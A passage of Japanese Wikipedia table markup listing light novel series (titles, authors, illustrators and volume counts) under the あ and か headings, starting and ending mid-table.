|style="background-color: #ffcccc;"|単巻
|-
|[[蒼井葉留の正しい日本語]]
|[[竹岡葉月]]
|[[竹岡美穂|タケオカミホ]]
|全2巻
|-
|[[青く澄んでいく、この恋も未来も]]
|[[高瀬ユウヤ]]
|[[放電映像]]
|単巻
|-
|[[抗いし者たちの系譜]]
|[[三浦良]]
|[[KIRIN (イラストレーター)|KIRIN]]
|全4巻
|-
|[[アサシンズプライド]]
|rowspan="2"|[[天城ケイ]]
|rowspan="2"|[[ニノモトニノ]]
|既刊13巻
|-
|[[アサシンズプライド|アサシンズプライドSecret Garden]]
|既刊2巻
|-
|style="background-color: #c0c0c0;"|[[あなたを救いに未来から来たと言うヒロインは三人目ですけど?]]
|style="background-color: #c0c0c0;"|[[氷純]]
|style="background-color: #c0c0c0;"|[[うらたあさお]]
|style="background-color: #c0c0c0;"|単巻
|-
|[[AVION]]
|[[富永浩史]]
|[[鷲鷹ゆりひさ]]
|全2巻
|-
|[[アビスゲート (小説)|アビスゲート]]
|[[神坂一]]
|[[芳住和之]]
|全3巻
|-
|[[甘えてくる年上教官に養ってもらうのはやり過ぎですか?]]
|[[神里大和]]
|[[小林ちさと]]
|全4巻
|-
|[[甘城ブリリアントパーク]]
|[[賀東招二]]
|rowspan="2"|[[なかじまゆか]]
|既刊8巻
|-
|[[甘城ブリリアントパーク|甘城ブリリアントパーク メープルサモナー]]
|[[八奈川景晶]]
|全3巻
|-
|[[あめーじんぐ・はいすくーる]]
|[[長野聖樹]]
|[[芦俊]]
|全3巻
|-
|style="background-color: #ccffcc;"|[[アリアンロッド・サガ]]
|style="background-color: #ccffcc;"|[[矢野俊策]]、[[ファーイースト・アミューズメント・リサーチ|F.E.A.R.]]
|style="background-color: #ccffcc;"|[[佐々木あかね]]
|style="background-color: #ccffcc;"|全3巻
|-
|[[アリストテレスの幻想偽典]]
|[[永菜葉一]]
|[[能都くるみ]]
|全2巻
|-
|[[アルドナの翼]]
|[[横手美智子]]
|[[いのまたむつみ]]
|全2巻
|-
|[[暗黒騎士を脱がさないで]]
|[[木村心一]]
|[[有葉]]
|全5巻
|-
|[[アンジュ・ガルディアン]]
|[[年見悟]]
|[[椋本夏夜]]
|全2巻
|-
|[[EME (小説)|EME BLACK]]
|rowspan="3"|[[瀧川武司]]
|rowspan="3"|[[尾崎弘宜]]
|全3巻
|-
|[[EME (小説)|EME BLUE]]
|全2巻
|-
|[[EME (小説)|EME RED]]
|全9巻
|-
|[[雷の娘シェクティ]]
|[[嵩峰龍二]]
|[[末弥純]]
|全7巻
|-
|[[異形三国志]]
|[[高千穂遙]]
|[[美樹本晴彦]]
|全5巻
|-
|[[戦鬼 -イクサオニ-]]
|[[川口士]]
|[[一之瀬綾子]]
|単巻
|-
|[[イグニッション・ブラッド]]
|[[亜逸]]
|[[ゆらん]]
|全3巻
|-
|style="background-color: #fcfccc;"|[[異国迷路のクロワーゼ]]
|style="background-color: #fcfccc;"|[[萩原麻理]]<br /><small>原作:[[武田日向]]</small>
|style="background-color: #fcfccc;"|[[いとうまりこ]]
|style="background-color: #fcfccc;"|単巻
|-
|[[十六夜聖域]]
|[[水城正太郎]]
|[[ニリツ]]
|全1巻
|-
|style="background-color: #c0c0c0;"|[[異世界チートサバイバル飯 食べて、強くなって、また食べる]]
|style="background-color: #c0c0c0;"|[[赤石赫々]]
|style="background-color: #c0c0c0;"|[[東西]]
|style="background-color: #c0c0c0;"|全5巻
|-
|style="background-color: #c0c0c0;"|[[異世界でチート能力を手にした俺は、現実世界をも無双する〜レベルアップは人生を変えた〜|異世界でチート{{読み仮名|能力|スキル}}を手にした俺は、現実世界をも無双する 〜レベルアップは人生を変えた〜]]
|style="background-color: #c0c0c0;"|[[美紅]]
|style="background-color: #c0c0c0;" rowspan="2"|[[桑島黎音]]
|style="background-color: #c0c0c0;"|既刊14巻
|-
|style="background-color: #c0c0c0;"|[[異世界でチート能力を手にした俺は、現実世界をも無双する〜レベルアップは人生を変えた〜|異世界でチート{{読み仮名|能力|スキル}}を手にした俺は、現実世界をも無双する ガールズサイド 〜華麗なる乙女たちの冒険は世界を変えた〜]]
|style="background-color: #c0c0c0;"|[[琴平稜]]<br /><small>原案・監修:美紅</small>
|style="background-color: #c0c0c0;"|既刊3巻
|-
|style="background-color: #ffcccc;"|[[異世界の聖機師物語]]
|style="background-color: #ffcccc;"|[[和田篤志]]<br /><small>原作:[[梶島正樹]]</small>
|style="background-color: #ffcccc;"|[[エナミカツミ]]
|style="background-color: #ffcccc;"|単巻
|-
|[[異世界無双の戦術竜騎士]]
|[[山田有]]
|[[にんげん (イラストレーター)|にんげん]]
|全3巻
|-
|[[ISON -イソン-]]
|[[一乃勢まや]]
|[[Pako|宮沢波宏]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[一億年ボタンを連打した俺は、気付いたら最強になっていた 〜落第剣士の学院無双〜]]
|style="background-color: #c0c0c0;"|[[月島秀一]]
|style="background-color: #c0c0c0;"|[[もきゅ]]
|style="background-color: #c0c0c0;"|既刊10巻
|-
|[[イチから始める最強勇者育成]]
|琴平稜
|[[れい亜]]
|全3巻
|-
|[[I=P -いちゃぱに-]]
|[[春日秋人]]
|[[ひなた睦月]]
|単巻
|-
|[[いつか天魔の黒ウサギ]]
|rowspan="2"|[[鏡貴也]]
|rowspan="2"|[[榎宮祐]]
|全13巻
|-
|[[いつか天魔の黒ウサギ|いつか天魔の黒ウサギ 紅月光の生徒会室]]
|全5巻
|-
|[[イヅナさんと!]]
|高瀬ユウヤ
|[[八島タカヒロ]]
|全3巻
|-
|[[いづれ神話の放課後戦争|いづれ神話の{{読み仮名|放課後戦争|ラグナロク}}]]
|[[なめこ印]]
|[[よう太]]
|全10巻
|-
|[[今すぐ辞めたいアルスマギカ]]{{Efn2|原題は「魔法少女ほのりは今すぐ辞めたい。」が頭に追加される。}}
|[[氷高悠]]
|[[菊池政治]]
|単巻
|-
|style="background-color: #c0c0c0;"|[[妹が女騎士学園に入学したらなぜか救国の英雄になりました。ぼくが。]]
|style="background-color: #c0c0c0;"|[[ラマンおいどん]]
|style="background-color: #c0c0c0;"|[[なたーしゃ]]
|style="background-color: #c0c0c0;"|既刊4巻
|-
|[[いもうとコンプレックス! ―IC―]]
|[[稲葉洋樹]]
|[[代官山ゑびす]]
|全3巻
|-
|[[陰キャラな俺とイチャつきたいってマジかよ……]]
|[[佐倉唄]]
|[[桝石きのと]]
|既刊3巻
|-
|[[VS-ヴァーサス-]]
|[[麻生俊平]]
|[[硝音あや]]
|全5巻
|-
|[[Varofess -ヴァロフェス-]]
|[[和田賢一 (作家)|和田賢一]]
|[[人丸 (イラストレーター)|人丸]]
|全2巻
|-
|[[青葉台高校映画研究会シリーズ|ヴァンパイア{{読み仮名|特捜隊|スクワッド}}]]
|rowspan="4"|[[樋口明雄]]
|rowspan="4"|[[神崎将臣]]
|rowspan="4"|全4巻
|-
|[[青葉台高校映画研究会シリーズ|ハイスクール重機動作戦]]
|-
|[[青葉台高校映画研究会シリーズ|爆風カーニバル]]
|-
|[[青葉台高校映画研究会シリーズ|ハート・オン・ファイア]]
|-
|style="background-color: #ccffff;"|[[Wind -a breath of heart-]]
|style="background-color: #ccffff;"|[[枯野瑛]]
|style="background-color: #ccffff;"|[[結城辰也]]
|style="background-color: #ccffff;"|単巻
|-
|style="background-color: #c0c0c0;"|[[うしろの席のぎゃるに好かれてしまった。―もう俺はダメかもしれない。―]]{{Efn2|原題は「ダメ」が漢字表記。}}
|style="background-color: #c0c0c0;"|[[陸奥こはる]]
|style="background-color: #c0c0c0;"|[[緋月ひぐれ]]
|style="background-color: #c0c0c0;"|既刊3巻
|-
|[[嘘の上で天使は何冊マンガを読めるか?]]
|[[ひびき遊]]
|[[あらいぐま]]
|全2巻
|-
|[[ウチの彼女が中二で困ってます。]]
|[[日の原裕光]]
|[[有子瑶一]]
|全2巻
|-
|[[宇宙一の無責任男|宇宙一の無責任男シリーズ]]
|rowspan="7"|吉岡平
|rowspan="2"|[[都築和彦]]
|全9巻
|-
|[[宇宙一の無責任男|宇宙一の無責任男シリーズ 外伝]]
|全5巻
|-
|[[宇宙一の無責任男|無責任キッズ]]
|rowspan="5"|[[平田智浩]]
|全5巻
|-
|[[宇宙一の無責任男|無責任カルテット]]
|全5巻
|-
|[[宇宙一の無責任男|無責任三国志]]
|全10巻
|-
|[[宇宙一の無責任男|無責任黙示録]]
|全5巻
|-
|[[宇宙一の無責任男|無責任三銃士]]
|全2巻
|-
|[[宇宙豪快ダイザッパー]]
|[[とまとあき]]、[[塚本裕美子]]
|[[伊藤明弘]]
|全2巻
|-
|[[ウロボロス・サイクロン]]
|[[友野詳]]
|[[石田ヒロユキ]]
|全1巻
|-
|[[英知学園のアンダーハート]]
|[[根岸和哉]]
|[[Hisasi]]
|全2巻
|-
|[[A君(17)の戦争]]
|[[豪屋大介]]
|[[伊東岳彦]](1-6巻表紙)、[[玲衣]](本文挿絵・7-9巻・新装版)
|全9巻
|-
|style="background-color: #ccffff;"|[[エーベルージュ|エーベルージュ 魔法を信じるかい?]]
|style="background-color: #ccffff;"|[[板橋雅弘|イタバシマサヒロ]]
|style="background-color: #ccffff;"|[[北爪宏幸]]
|style="background-color: #ccffff;"|単巻
|-
|[[エクウス (小説)|エクウス]]
|吉岡平
|[[高田明美]]
|全2巻
|-
|[[冠絶の姫王と召喚騎士|{{読み仮名|冠絶の姫王|エクセルシア}}と召喚騎士]]
|[[宮沢周]]
|[[Current Storage]]
|全3巻
|-
|[[セイバーマリオネット#SMガールズ セイバーマリオネットJ|SMガールズ セイバーマリオネットJ]]
|[[あかほりさとる]]
|[[ことぶきつかさ]]
|全12巻
|-
|[[L 詐欺師フラットランドのおそらくは華麗なる伝説]]
|[[坂照鉄平]]
|[[米山シヲ|水城葵]](1-2巻)、[[水谷悠珠]](3-4巻)
|全4巻
|-
|[[エルネミアの棺 異相界の凶獣]]
|[[対馬正治]]
|[[幡池裕行]]、[[小河原亮]]
|単巻
|-
|[[エレメント・マスター]]
|rowspan="2"|[[弐宮環]]
|rowspan="2"|[[森井しづき]]
|全3巻
|-
|[[エレメント・マスター|エレメント・マスターEnt'ract]]
|単巻
|-
|[[エンジェル・ハウリング]]
|秋田禎信
|[[椎名優]]
|全10巻
|-
|style="background-color: #c0c0c0;"|[[オーク英雄物語 忖度列伝]]
|style="background-color: #c0c0c0;"|[[理不尽な孫の手]]
|style="background-color: #c0c0c0;"|[[朝凪 (イラストレーター)|朝凪]]
|style="background-color: #c0c0c0;"|既刊5巻
|-
|[[黄金の鹿の闘騎士]]
|[[南房秀久]]
|[[沢田一]]
|単巻
|-
|[[王様のプロポーズ]]
|[[橘公司]]
|[[つなこ]]
|既刊5巻
|-
|[[おおコウスケよ、えらべないとはなさけない!]]
|竹岡葉月
|[[奥村ひのき]]
|全2巻
|-
|style="background-color: #fcfccc;"|[[O/A|O/A 〜ラジオ(゜∀゜)から生まれたアイドル!?〜]]
|style="background-color: #fcfccc;"|根岸和哉<br /><small>原作:[[渡会けいじ]]</small>
|style="background-color: #fcfccc;"|渡会けいじ
|style="background-color: #fcfccc;"|単巻
|-
|[[オー・ドロボー!]]
|[[岬かつみ]]
|れい亜
|全2巻
|-
|style="background-color: #c0c0c0;"|[[幼馴染だった妻と高二の夏にタイムリープした。17歳の妻がやっぱりかわいい。]]{{Efn2|原題は「幼馴染だった妻と一緒に高校時代にタイムリープしたんだがどうして過去に戻ってきたのか理由が分からない。そして高校生の妻がエロい。」。}}
|style="background-color: #c0c0c0;"|[[kattern]]
|style="background-color: #c0c0c0;"|[[にゅむ]]
|style="background-color: #c0c0c0;"|単巻
|-
|style="background-color: #c0c0c0;"|[[幼馴染の妹の家庭教師をはじめたら]]
|style="background-color: #c0c0c0;"|[[すかいふぁーむ]]
|style="background-color: #c0c0c0;"|[[葛坊煽]]
|style="background-color: #c0c0c0;"|全4巻
|-
|[[オタク荘の腐ってやがるお嬢様たち]]
|[[長岡マキ子]]
|[[森山しじみ]]
|全2巻
|-
|[[織田信奈の野望|織田信奈の野望 全国版]]
|rowspan="4"|[[春日みかげ]]
|rowspan="2"|[[みやま零]]
|全22巻<br />外伝1巻
|-
|[[織田信奈の野望|織田信奈の野望 安土日記]]
|全3巻
|-
|[[織田信奈の野望|織田信奈の野望 全国版 天と地と姫と]]
|[[深井涼介]]
|全5巻
|-
|[[織田信奈の野望|織田信奈の学園]]
|みやま零
|単巻
|-
|[[落ちこぼれの竜殺し]]
|[[橘ぱん]]
|[[呉マサヒロ]]
|全4巻
|-
|[[オッド・アイ (小説)|オッド・アイ]]
|[[星野亮]]
|[[藤田香]]
|全1巻
|-
|style="background-color: #c0c0c0;"|[[お隣さんと始める節約生活。]]
|style="background-color: #c0c0c0;"|[[くろい]]
|style="background-color: #c0c0c0;"|[[U35]]
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[お前ら、おひとり様の俺のこと好きすぎだろ。]]
|[[凪木エコ]]
|[[あゆま紗由]]
|全4巻
|-
|[[おまえをオタクにしてやるから、俺をリア充にしてくれ!]]
|rowspan="2"|[[村上凛]]
|rowspan="2"|[[あなぽん]]
|全15巻
|-
|[[おまえをオタクにしてやるから、俺をリア充にしてくれ!|おまえをオタクにしてやるから、俺をリア充にしてくれ! 小豆エンド]]
|単巻
|-
|style="background-color: #fcfccc;"|[[おまもりひまり]]
|style="background-color: #fcfccc;"|[[みかづき紅月]]<br /><small>原作:[[的良みらん]]</small>
|style="background-color: #fcfccc;"|的良みらん
|style="background-color: #fcfccc;"|全4巻
|-
|[[オラが村ぁ平和 -パラダイス・メーカー-]]
|[[八街歩]]
|[[Cuvie]]
|単巻
|-
|[[俺が好きなのは妹だけど妹じゃない]]
|[[恵比須清司]]
|[[ぎん太郎]]
|全11巻<br />短編集2巻
|-
|[[俺と彼女が下僕で奴隷で主従契約]]
|なめこ印
|よう太
|全5巻
|-
|[[オレと彼女の萌えよペン]]
|rowspan="2"|村上凛
|rowspan="2"|[[秋奈つかこ]]
|全5巻
|-
|[[オレと彼女の萌えよペン 増刊号]]
|単巻
|-
|[[俺の足には鰓がある]]
|富永浩史
|[[あさりよしとお]]
|単巻
|-
|[[俺の妹を世界一の魔砲神姫にする方法]]
|[[進藤尚典]]
|[[市倉]]
|単巻
|-
|[[俺の彼女は飼主様、妹はご主人様]]
|[[マナベスグル]]
|[[Bou]]
|全2巻
|-
|[[俺の青春を生け贄に、彼女の前髪をオープン]]
|凪木エコ
|[[すし*]]
|全3巻
|-
|[[オレのラブコメヒロインは、パンツがはけない。]]
|佐倉唄
|[[三輪フタバ]]
|全3巻
|-
|[[女の子に夢を見てはいけません!]]
|恵比須清司
|[[こうぐちもと]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[Only Sense Online -オンリーセンス・オンライン-]]
|style="background-color: #c0c0c0;" rowspan="2"|[[アロハ座長]]
|style="background-color: #c0c0c0;"|[[ゆきさん]](1-18巻)、[[mmu]](19-21巻)
|style="background-color: #c0c0c0;"|既刊22巻
|-
|style="background-color: #c0c0c0;"|[[Only Sense Online -オンリーセンス・オンライン-|Only Sense Online -オンリーセンス・オンライン- 白銀の女神]]
|style="background-color: #c0c0c0;" rowspan="2"|ゆきさん
|style="background-color: #c0c0c0;"|全3巻
|}
=== か行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|[[戒書封殺記]]
|[[十月ユウ]]
|[[藤丘ようこ]]
|全4巻
|-
|[[海賊船ガルフストリーム]]
|[[夏緑|なつみどり]]
|[[米田仁士]]
|単巻
|-
|[[カオス レギオン]]
|[[冲方丁]]
|[[結賀さとる]]
|全7巻
|-
|[[鍵開けキリエと封緘師|鍵開けキリエと{{読み仮名|封緘師|シギルムス}}]]
|[[池田朝佳]]
|[[さんば挿]]
|全3巻
|-
|[[かくて滅びた幻想楽園]]
|[[手島史詞]]
|[[GAN (イラストレーター)|GAN]]
|全2巻
|-
|[[隠れ魔王の覇道誓界]]
|[[秋芳草太]]
|[[狐印]]
|全2巻
|-
|[[かしこみっ!]]
|[[尼野ゆたか]]
|[[黒田bb|bb]]
|全2巻
|-
|[[影執事マルクシリーズ]]
|手島史詞
|[[COMTA]]
|全10巻
|-
|[[風の聖痕]]
|rowspan="2"|[[山門敬弘]]
|rowspan="2"|[[納都花丸]]
|全6巻
|-
|[[風の聖痕|風の聖痕 Ignition]]
|全6巻
|-
|[[風の大陸]]
|rowspan="4"|[[竹河聖]]
|rowspan="2"|いのまたむつみ
|全28巻
|-
|[[風の大陸|風の大陸 外伝]]
|全3巻
|-
|[[風の大陸|風の大陸 氷の島]]
|[[若菜等+Ki]]
|全3巻
|-
|[[風の大陸|風の大陸 月光にさまようもの]]
|いのまたむつみ
|単巻
|-
|style="background-color: #c0c0c0;"|[[ガチャにゆだねる異世界廃人生活]]
|style="background-color: #c0c0c0;"|[[時野洋輔]]
|style="background-color: #c0c0c0;"|[[紅緒]]
|style="background-color: #c0c0c0;"|全2巻
|-
|style="background-color: #c0c0c0;"|[[神々に育てられしもの、最強となる]]
|style="background-color: #c0c0c0;"|[[羽田遼亮]]
|style="background-color: #c0c0c0;"|[[fame]]
|style="background-color: #c0c0c0;"|既刊5巻
|-
|[[神々の砂漠|神々の砂漠 風の{{読み仮名|白猿神|ハヌマーン}}]]
|[[滝川羊]]
|いのまたむつみ
|単巻
|-
|[[カナクのキセキ]]
|[[上総朋大]]
|[[さらちよみ]]
|全5巻
|-
|[[神喰のエクスマキナ]]
|[[草薙アキ]]
|[[CH@R]]
|全2巻
|-
|[[神さまのいない日曜日]]
|[[入江君人]]
|[[茨乃]]
|全9巻
|-
|[[噛みつけ! アンノちゃん。]]
|[[小林がる]]
|[[アカバネ]]
|全1巻
|-
|style="background-color: #fcfccc;"|[[仮面のメイドガイ|仮面のメイドガイ メイド革命Ver.]]
|style="background-color: #fcfccc;"|[[花凰神也]]<br /><small>原作:[[赤衣丸歩郎]]</small>
|style="background-color: #fcfccc;" rowspan="2"|[[いちば仔牛]]
|style="background-color: #fcfccc;"|単巻
|-
|style="background-color: #fcfccc;"|[[仮面のメイドガイ|仮面のメイドガイ インカ帝国の逆襲Ver.]]
|style="background-color: #fcfccc;"|[[長野聖樹]]<br /><small>原作:赤衣丸歩郎</small>
|style="background-color: #fcfccc;"|単巻
|-
|style="background-color: #c0c0c0;"|[[空手バカ異世界]]
|style="background-color: #c0c0c0;"|[[輝井永澄]]
|style="background-color: #c0c0c0;"|[[bun150]]
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[天翔虎の軍師|{{読み仮名|天翔虎|カルーディア}}の軍師]]
|上総朋大
|[[庄名泉石]]
|全6巻
|-
|style="background-color: #ccffff;"|[[艦隊これくしょん -艦これ-]] 鶴翼の絆
|style="background-color: #ccffff;"|[[内田弘樹]]<br /><small>原作・監修:「艦これ」運営鎮守府</small>
|style="background-color: #ccffff;"|[[魔太郎 (イラストレーター)|魔太郎]]
|style="background-color: #ccffff;"|全6巻
|-
|[[消えちゃえばいいのに]]
|[[和智正喜]]
|[[東条さかな]]
|単巻
|-
|[[神の盾レギオン]]
|[[六道慧]]
|[[鈴木雅久]]
|全5巻
|-
|[[機械じかけの神々]]
|[[五代ゆう]]
|[[ゆうくりっど]]
|上下巻
|-
|[[期間限定いもうと。]]
|長岡マキ子
|[[Anmi]]
|全2巻
|-
|style="background-color: #ccffff;"|[[機甲兵団 J-PHOENIX]]
|style="background-color: #ccffff;"|[[唯野条太郎]]<br /><small>原作:[[タカラ (玩具メーカー)|タカラ]]</small><br /><small>原案:[[ジェー・シー・スタッフ|JCスタッフ]]、[[石野聡]]</small>
|style="background-color: #ccffff;"|[[いずみべる]]
|style="background-color: #ccffff;"|単巻
|-
|[[疑似人間メルティア]]
|対馬正治
|小河原亮
|全5巻
|-
|[[気象精霊記]]
|rowspan="2"|[[清水文化]]
|rowspan="2"|[[七瀬葵]]
|全8巻
|-
|[[気象精霊記|気象精霊記 ぷらくてぃか]]
|全5巻
|-
|style="background-color: #ffcccc;"|[[機動警察パトレイバー]]
|style="background-color: #ffcccc;"|[[伊藤和典]](1巻)、[[横手美智子]](2-5巻)
|style="background-color: #ffcccc;"|[[高田明美]]、[[佐山善則]]
|style="background-color: #ffcccc;"|全5巻
|-
|style="background-color: #ffcccc;"|[[機動警察パトレイバー|機動警察パトレイバー TOKYO WAR]]
|style="background-color: #ffcccc;"|[[押井守]]
|style="background-color: #ffcccc;"|末弥純
|style="background-color: #ffcccc;"|上下巻
|-
|[[究極蛮人ダンジョーV]]
|[[秋津透]]
|[[こばやしひよこ]]
|全3巻
|-
|[[キミが誘う境界線]]
|八街歩
|[[ぺたんこさいど]]
|全3巻
|-
|[[キミと僕の最後の戦場、あるいは世界が始まる聖戦]]
|rowspan="2"|[[細音啓]]
|rowspan="2"|[[猫鍋蒼]]
|既刊15巻
|-
|[[キミと僕の最後の戦場、あるいは世界が始まる聖戦|キミと僕の最後の戦場、あるいは世界が始まる聖戦 Secret File]]
|既刊3巻
|-
|[[君の居た昨日、僕の見る明日]]
|[[榊一郎]]
|狐印
|全5巻
|-
|style="background-color: #ffcccc;"|[[ギャラクシーエンジェル]]
|style="background-color: #ffcccc;"|[[水野良]]<br /><small>原作:[[ブロッコリー (企業)|ブロッコリー]]</small>
|style="background-color: #ffcccc;" rowspan="2"|[[重戦車工房]]
|style="background-color: #ffcccc;"|全1巻
|-
|style="background-color: #ffcccc;"|[[ギャラクシーエンジェル|ギャラクシーエンジェルEX]]
|style="background-color: #ffcccc;"|水野良、[[柘植めぐみ]]<br /><small>原作:ブロッコリー</small>
|style="background-color: #ffcccc;"|単巻
|-
|style="background-color: #fcfccc;"|[[京四郎と永遠の空|京四郎と永遠の空 -前奏曲-]]
|style="background-color: #fcfccc;"|[[植竹須美男]]
|style="background-color: #fcfccc;"|[[介錯 (漫画家)|介錯]]
|style="background-color: #fcfccc;"|単巻
|-
|[[響空のエレメントバレット]]
|尼野ゆたか
|[[せんむ]]
|全2巻
|-
|[[ギルティブラック&レッド]]
|小林がる
|[[有坂あこ]]
|全2巻
|-
|[[殺×愛 -きるらぶ-]]
|風見周
|[[G・むにょ]]
|全8巻
|-
|[[銀月のソルトレージュ]]
|枯野瑛
|[[得能正太郎]]
|全5巻
|-
|[[銀の河のガーディアン]]
|三浦良
|[[久世 (イラストレーター)|久世]]
|全3巻
|-
|[[銀の十字架とドラキュリア]]
|十月ユウ
|[[八坂ミナト]]
|全5巻
|-
|[[クインテット・ファンタズム]]
|[[東出祐一郎]]
|[[ワダアルコ]]
|全2巻
|-
|[[食前絶後!!]](くうぜんぜつご)
|[[ろくごまるに]]
|[[九月姫]]
|単巻
|-
|[[空戦魔導士候補生の教官]]
|[[諸星悠]]
|[[甘味みきひろ]]
|全14巻
|-
|[[狗牙絶ちの劔|狗牙絶ちの劔 -刀と鞘の物語-]]
|[[舞阪洸]]
|[[うなじ (イラストレーター)|うなじ]]
|全5巻
|-
|[[クジラのソラ]]
|[[瀬尾つかさ]]
|菊池政治
|全4巻
|-
|[[クラスのプライド高めなお嬢様。家では俺のメイド]]
|波瀾紡
|うなさか
|既刊1巻
|-
|[[鞍馬天狗草紙]]
|[[成田良美]]
|[[山本ヤマト]]
|全2巻
|-
|[[グランダイバーズ]]
|[[青田竜幸]]
|[[蓮見桃衣]]
|全3巻
|-
|style="background-color: #ccffcc;"|[[グランクレスト・アデプト]]
|style="background-color: #ccffcc;"|[[笹木さくま|夏希のたね]]<br /><small>監修:水野良</small>
|style="background-color: #ccffcc;"|[[春日歩]]
|style="background-color: #ccffcc;"|単巻
|-
|style="background-color: #ccffcc;"|[[グランクレスト戦記]]
|style="background-color: #ccffcc;"|水野良
|style="background-color: #ccffcc;"|[[深遊]]
|style="background-color: #ccffcc;"|全10巻
|-
|style="background-color: #ccffff;"|[[グランブルーファンタジー#小説|グランブルーファンタジー メンバーズフェイト]]
|style="background-color: #ccffff;"|[[築地俊彦]]<br /><small>原作:[[Cygames]]</small>
|style="background-color: #ccffff;"|Cygames
|style="background-color: #ccffff;"|全2巻
|-
|[[狗狼伝承]]
|[[新城カズマ]]
|介錯
|全7巻
|-
|style="background-color: #ccffcc;"|[[クレギオン#小説|クレギオン]]
|style="background-color: #ccffcc;"|[[野尻抱介]]
|style="background-color: #ccffcc;"|[[弘司]]
|style="background-color: #ccffcc;"|全7巻
|-
|[[紅のトリニティ]]
|[[椎名蓮月]]
|[[水月悠]]
|全5巻
|-
|[[黒乙女-シュヴァルツ・メイデン-]]
|[[玖野暮弥]]
|[[上田キク]]
|単巻
|-
|[[黒の夜刀神|黒の{{読み仮名|夜刀神|ケルキオン}}]]
|手島史詞
|[[飯田のぎ]]
|全3巻
|-
|[[クロスカディア]]
|神坂一
|[[谷口ヨシタカ]]
|全6巻
|-
|style="background-color: #fcfccc;"|[[クロノクルセイド]]
|style="background-color: #fcfccc;"|[[富永浩史]]<br /><small>原作:[[森山大輔]]</small>
|style="background-color: #fcfccc;"|宮沢波宏
|style="background-color: #fcfccc;"|単巻
|-
|[[黒鎖姫のフローリカ]]
|坂照鉄平
|[[鍋島テツヒロ]]
|単巻
|-
|[[Chrome Closed Chronicle|Chrome Closed Chronicle -クロム・クローズド・クロニクル-]]
|[[日下弘文]]
|[[黒銀]]
|全3巻
|-
|[[グロリアスハーツ]]
|[[淡路帆希]]
|[[文倉十]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[軍オタが魔法世界に転生したら、現代兵器で軍隊ハーレムを作っちゃいました!?]]
|style="background-color: #c0c0c0;"|[[明鏡シスイ]]
|style="background-color: #c0c0c0;"|[[硯 (イラストレーター)|硯]]
|style="background-color: #c0c0c0;"|全12巻
|-
|[[ゲーマーズ!]]
|rowspan="2"|[[葵せきな]]
|rowspan="2"|[[仙人掌 (イラストレーター)|仙人掌]]
|全12巻
|-
|[[ゲーマーズ!|ゲーマーズ! DLC]]
|全3巻
|-
|[[経験済みなキミと、経験ゼロなオレが、お付き合いする話。]]
|長岡マキ子
|[[magako]]
|既刊7巻
|-
|[[激突カンフーファイター]]
|[[清水良英 (作家)|清水良英]]
|[[しろー大野]]
|単巻
|-
|[[月蝕紀列伝]]
|rowspan="2"|南房秀久
|沢田一(1-2巻)、[[井上純弌]](3-10巻)
|全10巻
|-
|[[月蝕紀列伝|月蝕紀列伝 氷剣悲歌]]
|井上純弌
|単巻
|-
|style="background-color: #c0c0c0;"|[[限界超えの天賦は、転生者にしか扱えない -オーバーリミット・スキルホルダー-|限界超えの{{読み仮名|天賦|スキル}}は、転生者にしか扱えない -オーバーリミット・スキルホルダー-]]
|style="background-color: #c0c0c0;"|[[三上康明]]
|style="background-color: #c0c0c0;"|[[大槍葦人]]
|style="background-color: #c0c0c0;"|既刊2巻
|-
|style="background-color: #ccffcc;"|[[ソード・ワールド2.0|剣をつぐもの]]
|style="background-color: #ccffcc;"|北沢慶
|style="background-color: #ccffcc;"|[[bob]]
|style="background-color: #ccffcc;"|全4巻
|-
|[[剣帝の女難創世記]]
|稲葉洋樹
|[[あゆや]]
|全3巻
|-
|[[鋼殻のレギオス]]★
|rowspan="3"|[[雨木シュウスケ]]
|rowspan="3"|深遊
|全25巻
|-
|[[鋼殻のレギオス#小説(外伝)|聖戦のレギオス]]
|全3巻
|-
|[[レジェンド・オブ・レギオス]]
|全3巻
|-
|style="background-color: #ccffcc;"|[[鋼鉄の虹 パンツァーメルヒェンRPG|鋼鉄の虹]]
|style="background-color: #ccffcc;"|[[水無神知宏]]、[[甲斐甲賀]]
|style="background-color: #ccffcc;"|[[伊藤明弘]]
|style="background-color: #ccffcc;"|全2巻
|-
|[[紅牙のルビーウルフ]]
|rowspan="2"|淡路帆希
|rowspan="2"|椎名優
|全7巻
|-
|[[紅牙のルビーウルフ|紅牙のルビーウルフTinytales]]
|全1巻
|-
|[[攻撃天使]]
|rowspan="2"|高瀬ユウヤ
|rowspan="2"|[[森田柚花]]
|全6巻
|-
|[[攻撃天使|攻撃天使+]]
|単巻
|-
|[[皇国のフロイライン]]
|[[河端ジュン一]]
|[[遙華ナツキ]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[公女殿下の家庭教師]]
|style="background-color: #c0c0c0;"|[[七野りく]]
|style="background-color: #c0c0c0;"|[[cura]]
|style="background-color: #c0c0c0;"|既刊15巻
|-
|style="background-color: #ffcccc;"|[[KO世紀ビースト三獣士]]
|style="background-color: #ffcccc;"|[[あかほりさとる]]
|style="background-color: #ffcccc;"|[[桐嶋たける]]
|style="background-color: #ffcccc;"|全2巻
|-
|[[虹竜娘子]]
|[[松下寿治]]
|[[騎崎サブゼロ]]
|単巻
|-
|style="background-color: #ffcccc;"|[[甲竜伝説ヴィルガスト]]
|style="background-color: #ffcccc;"|あかほりさとる
|style="background-color: #ffcccc;"|[[西島克彦]]
|style="background-color: #ffcccc;"|全2巻
|-
|[[ゴールドラッシュ・オブ・ザ・デッド]]
|永菜葉一
|[[獅子猿]]
|単巻
|-
|[[ご愁傷さま二ノ宮くん]]
|rowspan="2"|[[鈴木大輔 (作家)|鈴木大輔]]
|rowspan="2"|[[高苗京鈴]]
|全10巻
|-
|[[ご愁傷さま二ノ宮くん|おあいにくさま二ノ宮くん]]
|全7巻
|-
|[[国家魔導最終兵器少女アーク・ロウ]]
|[[ツカサ (作家)|ツカサ]]
|[[ゆーげん]]
|全2巻
|-
|[[GOD W(`・ω・´)RLD ―ごっど・わーるど―]]
|[[吉村夜]]
|[[早川ハルイ]]
|全2巻
|-
|[[琥珀の心臓]]
